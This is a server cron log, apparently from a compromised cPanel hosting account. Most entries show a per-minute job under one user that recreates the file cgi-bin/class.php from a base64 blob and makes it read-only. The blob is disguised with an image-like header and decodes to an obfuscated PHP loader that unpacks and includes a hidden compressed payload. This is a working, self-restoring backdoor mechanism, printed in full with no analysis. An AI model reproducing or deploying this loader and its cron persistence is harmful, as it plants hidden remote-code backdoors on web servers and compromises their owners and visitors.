Nov 15 23:42:01 server CROND[31414]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:43:01 server CROND[31814]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:44:01 server CROND[32079]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:45:01 server CROND[32335]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 23:45:01 server CROND[32336]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 23:45:01 server CROND[32337]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:46:01 server CROND[32658]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:47:01 server CROND[456]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:48:01 server CROND[719]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:49:02 server CROND[1077]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:50:01 server CROND[1351]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 23:50:01 server CROND[1352]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 23:50:01 server CROND[1353]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 23:50:01 server CROND[1354]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:50:01 server CROND[1355]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 23:51:01 server CROND[1669]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:52:01 server CROND[1932]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:53:01 server CROND[2190]: (root) CMD (/usr/lib64/sa/sa2 -A)
Nov 15 23:53:01 server CROND[2191]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:54:01 server CROND[2558]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:55:01 server CROND[2824]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 23:55:01 server CROND[2825]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
